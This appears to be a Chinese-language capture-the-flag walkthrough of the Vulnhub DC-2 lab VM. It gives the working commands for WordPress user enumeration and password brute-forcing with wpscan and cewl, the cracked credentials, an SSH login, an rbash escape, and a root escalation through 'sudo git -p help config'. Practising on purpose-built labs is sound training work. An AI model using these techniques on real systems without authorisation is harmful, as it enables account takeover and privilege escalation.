Vulnhub靶机DC系列-DC2
靶场介绍
- Name: DC: 2
- Date release: 22 Mar 2019
- Author: DCAU
- Series: DC
- Web page: http://www.five86.com/dc-2.html
描述
与 DC-1 非常相似,DC-2 是另一个专门构建的易受攻击的实验室,目的是获得渗透测试领域的经验。
与最初的 DC-1 一样,它的设计考虑到了初学者。
必须具备 Linux 技能和熟悉 Linux 命令行,以及一些基本渗透测试工具的经验。
就像 DC-1 一样,有五个标志,包括最终标志。
再说一次,就像 DC-1 一样,标志对初学者很重要,但对有经验的人来说并不那么重要。
简而言之,唯一真正重要的标志是最终标志。
对于初学者来说,谷歌是你的朋友。好吧,除了所有的隐私问题等等等等。
我还没有探索实现 root 的所有方法,因为我放弃了我一直在研究的以前的版本,并从基本操作系统安装之外完全重新开始。
技术信息
DC-2 是基于 Debian 32 位构建的 VirtualBox VM,因此在大多数 PC 上运行它应该没有问题。
虽然我没有在 VMware 环境中测试过它,但它也应该可以工作。
它当前配置为桥接网络,但是,可以根据您的要求进行更改。网络配置为 DHCP。
安装很简单 - 下载它,解压缩,然后将其导入 VirtualBox,然后就可以了。
请注意,您需要将渗透测试设备上的host文件设置为:
Please note that you will need to set the hosts file on your pentesting device to something like:
1 | 192.168.0.145 dc-2 |
显然,将 192.168.0.145 替换为 DC-2 的实际 IP 地址。
它将使生活变得更加简单(如果没有它,某些 CMS 可能无法工作)。
如果您不确定如何执行此操作,请参阅此处的说明。
设备ip
攻击机:kali
靶机: dc-2
1
nmap 192.168.169.0/24
1
nmap -A -P 1-65535 -T4 192.168.169.221
kali : 192.168.169.220
dc-2 : 192.168.169.221
既然开放80端口,直接访问http服务。直接在地址栏输入IP地址即可
修改host
根据技术信息里面的描述修改
host
文件kali linux 记得用root权限写入
1
vim /etc/hosts
windows :
1
C:\Windows\System32\drivers\etc
访问网站
flag
flag1
查看提示
1
2
3
4你常用的词表可能不会起作用,所以相反,也许你只需要做cewl。
更多的密码总是更好的,但有时你不可能赢得所有的密码。
以一个人的身份登录,看看下一个标志。
如果你找不到它,就以另一个身份登录。登陆的话扫一下网站的目录
1
dirb http://dc-2/
http://dc-2/wp-admin/ 看到admin直接访问
既然是wordpress使用WPScan试试(WordPress扫描工具)
WPScan 的 一些参数
1 | 常用选项 |
开扫
更新下工具
1
wpscan --update
1
wpscan --url http://dc-2 --enumerate u
三个用户: admin jerry tom
生成密码字典
1
cewl http://dc-2/ -w passwd.txt
创建用户文件
开始爆破 注意:要进入文件夹内执行命令
1 | wpscan --url http://dc-2 -U user.txt -P passwd.txt |
1 | Username: jerry, Password: adipiscing |
- 直接登录
flag 2
- 登陆后开始翻找,找到flag 2
1 | 如果你不能利用WordPress,走捷径,还有另一种方法。 |
ssh
- 根据提示还有ssh没用到
- 尝试用上面的密码链接ssh
- 只有tom链接成功
1 | ssh tom@192.168.40.137 -p 7744 #密码: parturient |
flag3
第一种
直接cat,结果,它早有预防,tom登录后rbash限制,各种命令执行不通,但是vi可以用
绕过rbash拿flag3(看不懂 参考)
第二种 这个应该是正解
绕过rbash
1 | BASH_CMDS[a]=/bin/sh;a |
- 添加环境变量
1 | export PATH=$PATH:/bin/ |
拿到flag3
1 | Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes. |
1 | 可怜的老汤姆总是追着杰里跑。也许他应该为他造成的所有压力而起诉。 |
flag4
- 切换账户
1 | su jerry #密码: adipiscing |
- 找到 flag4
1 | Good to see that you've made it this far - but you're not home yet. |
1 | 很高兴看到你已经走到了这一步--但你还没有到家。 |
flag5
- flag4提示可以用git,使用git提权,sudo -l看到不需要root权限。
- 利用SUID进行提权,SUID可以让调用者以文件拥有者的身份运行该文件
- 已知可用来提权的linux文件: Nmap Vim find Bash More Less Nano
1 | sudo git -p help config |
1 | !/bin/bash |